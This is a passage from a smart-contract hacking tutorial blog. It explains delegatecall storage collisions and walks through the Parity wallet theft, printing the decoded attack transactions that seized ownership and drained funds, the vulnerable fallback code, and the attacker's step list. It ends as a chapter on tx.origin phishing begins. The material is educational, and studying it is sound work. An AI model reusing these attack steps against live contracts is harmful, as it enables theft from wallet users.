<p class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin-bottom: 0in; mso-add-space: auto; mso-list: l11 level1 lfo10; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpLast" style="line-height: normal; margin-bottom: 0in; mso-add-space: auto; mso-list: l11 level1 lfo10; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<h2><a name="_Toc47892540">DelegateCall Storage Walkthrough</a><a name="_Hlk42455460"><o:p></o:p></a></h2>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">In the action steps above you would have
noticed that when you set the value of “a” the value of “b” was the value that
changed. Why is this? <o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">So, we have to start thinking in which
context we are using when calling the contract. The image below should help to
clear this up. Take a look at that image
for a minute and try to think about what happened. <o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgg9mKg5H3Hn7492A1OwuyOq-OeKQpcAhxkzom1Kb8xIq6kue_ngv0e5zHotzE3T_deUy_-gPG3WT9Q7VsnomktlsssyO9AYr55KULAtsv6FIQFPYGO4qU6lmPPVlTclEa4H-3C-duW5sRy/s433/2.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="396" data-original-width="433" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgg9mKg5H3Hn7492A1OwuyOq-OeKQpcAhxkzom1Kb8xIq6kue_ngv0e5zHotzE3T_deUy_-gPG3WT9Q7VsnomktlsssyO9AYr55KULAtsv6FIQFPYGO4qU6lmPPVlTclEa4H-3C-duW5sRy/s320/2.png" width="320" /></a></div><br /><p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<p align="center" class="MsoNormal" style="text-align: center;"><v:shape id="Picture_x0020_36" o:spid="_x0000_i1027" style="height: 263.25pt; mso-wrap-style: square; visibility: visible; width: 4in;" type="#_x0000_t75">
<v:imagedata o:title="" src="file:///C:/Users/ficti0n/AppData/Local/Temp/msohtmlclip1/01/clip_image002.png">
</v:imagedata></v:shape><o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal">So, in the calling contract we have “b”, “a” and
“Logic_Pointer”. Then we have the variable “a” in the logic contract. When
using a delegatecall we are executing the set function in the logic contract
under the context of the calling contract which has those 3 variables with “b”
being the first variable. You see where I am going with this? Essentially the logic contract only knows
about the “a” variable and sets the first element in the memory to that value.
However, we are in the context of the calling contract, and the calling
contracts first memory slot is the variable “b”. <o:p></o:p></p>
<p class="MsoNormal">So, what happens is when we initially deploy the contract,
we have the following where both “a” and “b” equal 5. <o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjosvWL6bFSo4PZgxyqTuCT52OpC2KYLpbf0PWELYSjLY5FGlekgs6KORVZ6aysq9-XxHZn_5i4sTeIsRBKE76zMSdcSAgNSl9MfeSnXyjIuUMAj8JYcPSVFrS5Kb3ybWqyURujCq0J2BU8/s285/3.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="266" data-original-width="285" height="373" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjosvWL6bFSo4PZgxyqTuCT52OpC2KYLpbf0PWELYSjLY5FGlekgs6KORVZ6aysq9-XxHZn_5i4sTeIsRBKE76zMSdcSAgNSl9MfeSnXyjIuUMAj8JYcPSVFrS5Kb3ybWqyURujCq0J2BU8/w400-h373/3.png" width="400" /></a></div><br /><p></p>
<p align="center" class="MsoNormal" style="text-align: center;"><v:shape id="Picture_x0020_37" o:spid="_x0000_i1026" style="height: 199.5pt; mso-wrap-style: square; visibility: visible; width: 213.75pt;" type="#_x0000_t75">
<v:imagedata o:title="" src="file:///C:/Users/ficti0n/AppData/Local/Temp/msohtmlclip1/01/clip_image003.png">
</v:imagedata></v:shape><o:p></o:p></p>
<p class="MsoNormal">Then we click the setA button to execute the delegatecall into
the set function in the logic contract and this results in “a” remaining at the
value of 5 but “b” is updated to the value placed in the setA function. In this
case I used the value of 3. <o:p></o:p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXZysmm1TEZ_dWri5mHGnetcbtzM9p2qsla0Z_tZvg7e8xRnxIN5Wou3IoqkuScCLyTrKPjh2hbdOSADl4UGyEiOLmg_RPSopR4fc_dyDtjtPRYsdv1cgdK9E6ynSuteyCbsT4HpguUye6/s294/5.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="239" data-original-width="294" height="325" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXZysmm1TEZ_dWri5mHGnetcbtzM9p2qsla0Z_tZvg7e8xRnxIN5Wou3IoqkuScCLyTrKPjh2hbdOSADl4UGyEiOLmg_RPSopR4fc_dyDtjtPRYsdv1cgdK9E6ynSuteyCbsT4HpguUye6/w400-h325/5.png" width="400" /></a></div><br /><p class="MsoNormal"><br /></p>
<p align="center" class="MsoNormal" style="text-align: center;"><v:shape id="Picture_x0020_38" o:spid="_x0000_i1025" style="height: 179.25pt; mso-wrap-style: square; visibility: visible; width: 220.5pt;" type="#_x0000_t75">
<v:imagedata o:title="" src="file:///C:/Users/ficti0n/AppData/Local/Temp/msohtmlclip1/01/clip_image004.png">
</v:imagedata></v:shape><o:p></o:p></p>
<p class="MsoNormal">The b value is overwritten because it is the first slot
defined in the memory of the calling contract and the logic contract only knows
about a single variable “a” in its own contract thus overwriting the value in
the first slot of memory. Since we used
delegate call we are not writing the memory in the logic contract but instead
the calling contract. <o:p></o:p></p>
<p class="MsoNormal">Take a minute to let that all sink in. Review the picture
from above with the memory slots. Think about the previous example of what
context you are in when using delegate call. Then come back to this and check
out the case study of this in action for a multi-million dollar theft in real
life. <o:p></o:p></p><p class="MsoNormal"><br /></p><h3 style="text-align: left;">Delegate Call Memory Overwrite Video:</h3><h3 style="text-align: left;"> </h3><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="BLOG_video_class" height="266" src="https://www.youtube.com/embed/2AiT4CYJDlc" width="320" youtube-src-id="2AiT4CYJDlc"></iframe></div><br /><p class="MsoNormal"><br /></p>
<p class="MsoNormal"><o:p> </o:p></p>
<h2><a name="_Toc47892541">Parity Wallet Attack:</a> <o:p></o:p></h2>
<p class="MsoNormal">When it comes to attacks against misconfigured smart contracts
with delegate calls the most famous of the attacks was the Parity Wallet hack
which resulted in a multi-million-dollar losses. I will briefly but with detail
discuss what one of the parity attacks entailed. This should bring together
when you learned into a real-world example. <o:p></o:p></p>
<p class="MsoNormal">The vulnerable Parity contract we are referencing is located
at the following address:<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">Contract
Location: <a href="https://etherscan.io/address/0x863df6bfa4469f3ead0be8f9f2aae51c91a907b4#code">https://etherscan.io/address/0x863df6bfa4469f3ead0be8f9f2aae51c91a907b4#code</a><o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<p class="MsoNormal">Essentially the parity wallet was a multi-signature wallet
which was extremely lightweight and relied on functionality from a main library
contract. Using libraries is a way of saving costs as wallets will be deployed
multiple times on the blockchain and the fee to deploy contracts is based on
the size of the instructions used in the contract. Less instructions on a
smaller lightweight wallet equals less overall transaction payments. By
deploying the main functionality within a callable library, the code only
incurred a onetime fee for the larger codebase. Each additional deployed
contract comes at a much smaller cost due to its reduced size of instructions.
This is fantastic from both a cost savings and upgradeability perspective,
depending how you deploy the functionality and how you handle access to
libraries. <o:p></o:p></p>
<p class="MsoNormal">But the Parity wallet had a few shortcomings due to a
combination of public initialization functions that lacked a usage state and
authorization issues. Authorization issues allowed direct calls after initial
contract deployment and delegate calls allowed attackers to interact with
initialization functions in the context of the calling contract. <o:p></o:p></p>
<p class="MsoNormal">Parity Issues that allowed an Attack: <o:p></o:p></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l5 level1 lfo4; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->An attack Vector into the library via the wallet
(DelegateCall in a Fallback function)</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l5 level1 lfo4; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Initialization functions that didn’t check a
wallets current initialization state</p><p class="MsoListParagraphCxSpLast" style="mso-list: l5 level1 lfo4; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Public functions without authorization</p></blockquote><p class="MsoListParagraphCxSpFirst" style="mso-list: l5 level1 lfo4; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l5 level1 lfo4; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpLast" style="mso-list: l5 level1 lfo4; text-indent: -0.25in;"><o:p></o:p></p>
<h2><a name="_Toc47892542">Attack Transactions Explained</a><o:p></o:p></h2>
<p class="MsoNormal">In this attack an attacker could gain control of the library
via a public initialization function. Once the attacker gained control of the
library via the initialization function, he was able to send two transactions.
The first transaction was to take ownership of the contract found at the
following link: <o:p></o:p></p>
<p class="MsoNormal"><a href="https://etherscan.io/tx/0x9dbf0326a03a2a3719c27be4fa69aacc9857fd231a8d9dcaede4bb083def75ec">https://etherscan.io/tx/0x9dbf0326a03a2a3719c27be4fa69aacc9857fd231a8d9dcaede4bb083def75ec</a>
<o:p></o:p></p>
<p class="MsoNormal">Browse to the above URL and click the “click to see more”
link to review the live data from the output also showed and described in
detail below. The transaction Input data shown made a call to the initWallet
function. This call overwrote the owners of the contract with the attacker’s
address at [4] within the input data section.
<o:p></o:p></p>
<p class="MsoNormal">___________________________________________________________________________________<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> Function: initWallet(address[] _owners,
uint256 _required, uint256 _daylimit) ***<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">MethodID:
0xe46dcfeb<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">[0]:
0000000000000000000000000000000000000000000000000000000000000060<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">[1]:
0000000000000000000000000000000000000000000000000000000000000000<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">[2]: 00000000000000000000000000000000000000000000116779808c03e4140000<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">[3]:
0000000000000000000000000000000000000000000000000000000000000001<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">[4]: 000000000000000000000000b3764761e297d6f121e79c32a65829cd1ddb4d32<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">___________________________________________________________________________________<o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal">Let’s go into a little detail as to what the transaction
values above are and how they were derived. This will help in understanding
what is going on with this attack. <o:p></o:p></p>
<p class="MsoNormal">The data in the transaction can be broken down as the
following <o:p></o:p></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l2 level1 lfo5; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->A 4byte MethodID </p><p class="MsoListParagraphCxSpLast" style="mso-list: l2 level1 lfo5; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Five 32-byte values</p></blockquote><p class="MsoListParagraphCxSpFirst" style="mso-list: l2 level1 lfo5; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpLast" style="mso-list: l2 level1 lfo5; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoNormal">The 4-byte MethodID which precedes the function parameters
is the first 4 bytes of a sha3 hash of the initWallet method declaration. We
can derive the sha3 value from the transaction by using the web3 utility
functions and a substring of the sha3 output. You can try this out with the
following commands. <o:p></o:p></p>
<p class="MsoNormal">_________________________________________________________________________________<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">$ node<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">$ npm install
web3<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">> const web3
= require('web3')<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">>
web3.utils.sha3("initWallet(address[],uint256,uint256)").substring(0,10)<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">'0xe46dcfeb'<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">___________________________________________________________________________________<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<p class="MsoNormal">The 5 parameters following the MethodID are defined as
follows: <o:p></o:p></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l13 level1 lfo6; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->[0] Offset to the Owners Array length value:
60Hex or 96 bytes (3x32 = 96bytes to the Array length held at [3])</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l13 level1 lfo6; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->[1] How many owners are needed (Zero)</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l13 level1 lfo6; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->[2] Daily spending limit of the contract (A
Large Number)</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l13 level1 lfo6; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->[3] Owners Array Length of 1 owner</p><p class="MsoListParagraphCxSpLast" style="mso-list: l13 level1 lfo6; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->[4] Attackers address value as the only address
in the owner’s array</p></blockquote><p class="MsoListParagraphCxSpFirst" style="mso-list: l13 level1 lfo6; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l13 level1 lfo6; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l13 level1 lfo6; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l13 level1 lfo6; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpLast" style="mso-list: l13 level1 lfo6; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">A second
transaction shown below, was then sent which transferred _value at [1] to the
supplied _to address at [0] within the data section of the following
transaction <o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">Transaction
Location: <a href="https://etherscan.io/tx/0xeef10fc5170f669b86c4cd0444882a96087221325f8bf2f55d6188633aa7be7c">https://etherscan.io/tx/0xeef10fc5170f669b86c4cd0444882a96087221325f8bf2f55d6188633aa7be7c</a><o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">___________________________________________________________________________________<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">Function:
execute (address _to, uint256 _value, bytes _data) ***</p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">MethodID:
0xb61d27f6<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">[0]:
000000000000000000000000b3764761e297d6f121e79c32a65829cd1ddb4d32<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">[1]:
00000000000000000000000000000000000000000000116779808c03e4140000<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">[2]: 0000000000000000000000000000000000000000000000000000000000000060<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">[3]:
0000000000000000000000000000000000000000000000000000000000000000<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">[4]:
0000000000000000000000000000000000000000000000000000000000000000<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">___________________________________________________________________________________<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">So how did the
attacker actually get to the point where he could attack the contract with the
above transactions?<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<h2><a name="_Toc47892543">Dangerous fallback function using delegatecall</a><o:p></o:p></h2>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">Within the
parity wallet there was a default payable function also known as a fallback
function which used a delegate call into the wallet library. Fallback functions
are called when a call is made to a contract and no function is specified while
sending value to a contract. Using this functionality an attacker was able to
access the fallback function and leverage the delegate call by calling the
contract and NOT specifying a function but specifying msg.data with the target
and values shown in the above exploit.<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">Fallback
functions are often used as a catchall within contracts. I kind of think of
them as the default from a switch statement or the else clause in a block of
logic. You will see fallback functions aid us in many attacks for example
tx.origin and reentrancy attacks. You also saw the usage of fallback functions
in our chapter on reentrancy, when we used the functionality of a fallback
function to loop through the contract calls and siphon value from the contract.<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<h2><a name="_Toc47892544">The Parity Wallet Code</a> <o:p></o:p></h2>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">Let’s take a
closer look at the code from the parity wallet from the contract link:<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><a href="https://etherscan.io/address/0x863df6bfa4469f3ead0be8f9f2aae51c91a907b4#code">https://etherscan.io/address/0x863df6bfa4469f3ead0be8f9f2aae51c91a907b4#code</a><o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><br /></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">Taking a look
at line 431 of the source code from the above link, this fallback function
exposes all public functions of the wallet library to anyone with the fallback
functions ability to send data into the wallet library via a delegatecall in
the context of the calling contract on line 436. No worries, will explain context in a minute
in our how delegate calls work section. <o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">___________________________________________________________________________________<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> 430 //
gets called when no other function matches<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> 431 function
() payable {<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> 432 // just being sent some
cash?<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> 433 if (msg.value > 0)<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> 434 Deposit
(msg.sender, msg.value);<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> 435 else if (msg.data.length
> 0)<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> 436 _walletLibrary.delegatecall(msg.data);<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">___________________________________________________________________________________<o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal">Notice that on line 435, the code logic states that if there
is data within the transaction greater than 0 a delegate call is made which
calls the wallet library in the context of the calling contract. We showed this above with the actual
transaction data. But from a higher level the attacker used this logic to pass
data to the wallet contract to perform the following to actions: <o:p></o:p></p>
<p class="MsoListParagraphCxSpFirst" style="mso-list: l0 level1 lfo8; text-indent: -0.25in;"><!--[if !supportLists]-->1.<span style="font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span><!--[endif]-->First calling the initWallet function as in the
first transaction data we showed. <o:p></o:p></p>
<p class="MsoListParagraphCxSpLast" style="mso-list: l0 level1 lfo8; text-indent: -0.25in;"><!--[if !supportLists]-->2.<span style="font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span><!--[endif]-->Followed by the execute function to both take
ownership of a wallet via the wallet’s fallback functionality and then transfer
out the wallet’s funds. <o:p></o:p></p>
<p class="MsoNormal">In order to perform this attack, all the attacker needs to
do is: <o:p></o:p></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l10 level1 lfo7; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Make a transaction call to the wallet address</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l10 level1 lfo7; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Not specify a function in the in the wallet in
order to invoke the fallback function</p><p class="MsoListParagraphCxSpLast" style="mso-list: l10 level1 lfo7; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Send msg.data with the values we saw in the
attack transactions above</p></blockquote><p class="MsoListParagraphCxSpFirst" style="mso-list: l10 level1 lfo7; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l10 level1 lfo7; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpLast" style="mso-list: l10 level1 lfo7; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoNormal">The fallback function will capture this transaction and
forward it to the wallet library for us via a delegate call. <o:p></o:p></p>
<p class="MsoNormal">This attack resulted in millions of dollars of losses for
users of the Parity wallet. I wanted to show an example of a real-world attack
so you could see how it was constructed and know how serious this issue
is. Millions of dollars can be lost with
a relatively simple attack, in this case 31 million.</p>
<p class="MsoNormal"><o:p> </o:p></p>
<h2><a name="_Toc47892546">DelegateCall References:</a> <o:p></o:p></h2>
<p class="MsoNormal"><a href="https://github.com/cclabsInc/BlockChainExploitation/tree/master/2020_BlockchainFreeCourse/delegatecall">https://github.com/cclabsInc/BlockChainExploitation/tree/master/2020_BlockchainFreeCourse/delegatecall</a><o:p></o:p></p>
<span face=""Calibri",sans-serif" style="font-size: 11pt; line-height: 107%; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"><a href="https://blog.trailofbits.com/2018/09/05/contract-upgrade-anti-patterns/">https://blog.trailofbits.com/2018/09/05/contract-upgrade-anti-patterns/</a></span>Ficti0nhttp://www.blogger.com/profile/10756896998856282829noreply@blogger.com2tag:blogger.com,1999:blog-5948768001255972621.post-36051683146068535362020-09-20T21:23:00.004-07:002022-02-18T19:45:44.398-08:00Smart Contract Hacking Chapter 6 - Phishing Users With Malicious DAPS via TX.Origin <p class="MsoNormal"><br /></p><p class="MsoNormal">Authorization on a smart contract can sometimes be a tricky endeavor.
There are many things that are easily coded incorrectly, for example public
functions, unpublished functions, delegate calls and tx.origin validations. If
any of these are implemented incorrectly, then contracts are often left
vulnerable to both direct and indirect attacks.<o:p></o:p></p>
<p class="MsoNormal">In this case, we will be talking about tx.origin which is an
indirect attack method an attacker can utilize to bypass authorization based on
the nuance of what is actually checked vs what the developer may think is checked
when implementing require statements with tx.origin for authorization. <o:p></o:p></p>
<p class="MsoNormal">There are two different ways to check the address of who is
making a call to a contract. <o:p></o:p></p>
<p class="MsoNormal" style="margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; margin: 0in 0in 0in 0.5in; mso-add-space: auto; mso-list: l4 level1 lfo1; text-indent: -0.25in;"><!--[if !supportLists]--><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->Msg.sender<o:p></o:p></p>
<p class="MsoNormal" style="margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; margin: 0in 0in 0in 0.5in; mso-add-space: auto; mso-list: l4 level1 lfo1; text-indent: -0.25in;"><!--[if !supportLists]--><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->Tx.Origin<o:p></o:p></p>
<p class="MsoNormal" style="margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; margin: 0in 0in 0in 0.5in; mso-add-space: auto;"><o:p> </o:p></p>
<p class="MsoNormal">While both of these could produce the same output when directly
calling a contract, they may differ when there is another contract in the
middle of the transaction. For example, if you play an online game which calls
another contract to handle a payout transaction. When using a check with
msg.sender, the winning payout would go to the games address that called the
payout contract. <o:p></o:p></p>
<p class="MsoNormal">If the same address was checked with tx.origin on the payout
contract, it would go all the way back to the original users address that
processed the payout transaction on the game rather than the game contract
making the call. <o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<h2><a name="_Toc47892526">Man In the Middle Via tx.origin</a><o:p></o:p></h2>
<p class="MsoNormal">This type of check is often misused when checking validation
for authorization on smart contracts. When a tx.Origin check is used instead of
msg.sender, this can leave a contract open to a man-in-the-middle (MITM) attack
vector. Let’s take a look at a visual representation of an attack, which will
help put this into perspective. Then we will look at some code that implements
this functionality. <o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal">In the below image we have:<o:p></o:p></p>
